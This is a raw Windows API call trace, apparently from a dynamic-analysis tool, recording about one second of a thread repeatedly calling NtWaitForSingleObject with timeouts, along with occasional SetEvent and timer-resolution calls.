	[0099.044] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.044] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.045] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.046] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.047] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.048] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.049] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.050] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.051] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.054] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.055] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.056] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.057] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.058] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.059] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.061] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.061] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.062] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.063] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.064] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.065] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.066] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.067] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.070] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.072] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.074] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.075] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.076] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.077] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.078] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.079] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.080] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.081] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.083] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.083] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.084] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.085] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.086] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.087] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.088] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.089] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.090] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.091] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.092] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.093] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.094] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.095] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.096] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.097] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.098] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.099] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.100] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.102] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.103] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.107] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.112] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.124] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.135] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.144] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.154] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.164] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.177] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.188] SetEvent (hEvent=0x8c) returned 1
	[0099.188] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.189] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0099.189] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0099.211] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0099.211] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.222] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.238] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.239] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.240] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.241] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.242] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.243] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.244] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.245] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.246] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.249] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.250] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.251] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.252] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.253] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.254] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.255] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.256] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.257] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.258] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.259] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.260] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.261] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.262] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.263] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.264] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.265] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.266] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.267] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.268] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.269] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.270] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.271] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.272] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.273] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.274] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.275] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.276] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.277] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.278] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.279] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.280] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.281] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.282] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.283] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.290] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.291] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.292] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.293] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.294] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.295] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.296] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.297] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.298] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.299] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.301] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.304] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.310] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.333] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.350] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.360] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.370] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.382] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.392] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.402] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.412] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.422] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.432] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.444] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.454] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.464] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0099.465] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0099.465] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0099.465] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.466] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.482] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.482] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.484] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.485] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.486] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.486] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.488] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.488] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.490] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.491] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.491] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.493] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.494] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.495] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.496] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.497] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.498] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.499] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.501] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.502] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.503] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.504] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.505] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.506] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.507] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.518] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.519] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.520] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.521] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.522] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.522] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.524] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.525] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.526] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.527] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.528] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.529] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.530] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.531] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.532] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.534] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.535] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.536] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.537] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.538] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.539] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.540] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.541] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.541] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.550] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.551] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.552] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.553] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.556] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.562] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.574] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.584] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.595] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.605] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.615] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.624] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.635] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.646] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.700] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.711] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.722] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.732] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.742] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.752] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.762] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.773] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.783] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.793] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.802] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.812] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.823] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.832] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.843] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.854] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.864] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.874] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.883] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.894] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.904] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.915] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.925] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.935] SetEvent (hEvent=0x6c) returned 1
	[0099.935] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.936] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0099.936] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0099.965] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0099.965] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.969] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.985] SetEvent (hEvent=0x6c) returned 1
	[0099.985] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0099.985] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0099.985] WaitForSingleObject (hHandle=0xa8, dwMilliseconds=0xea60) returned 0x0
	[0100.010] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0100.010] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.019] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.035] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.036] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.037] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.038] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.039] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.040] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.041] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.042] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.043] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.044] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.045] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.046] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.047] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.048] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.049] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.050] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.052] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.053] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.055] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.056] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.057] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.059] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.059] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.067] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.067] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.068] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.069] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.070] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.071] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.072] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.073] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
	[0100.074] NtWaitForSingleObject (Object=0xffffffff, Alertable=0, Time=0x9cfee4) returned 0x102
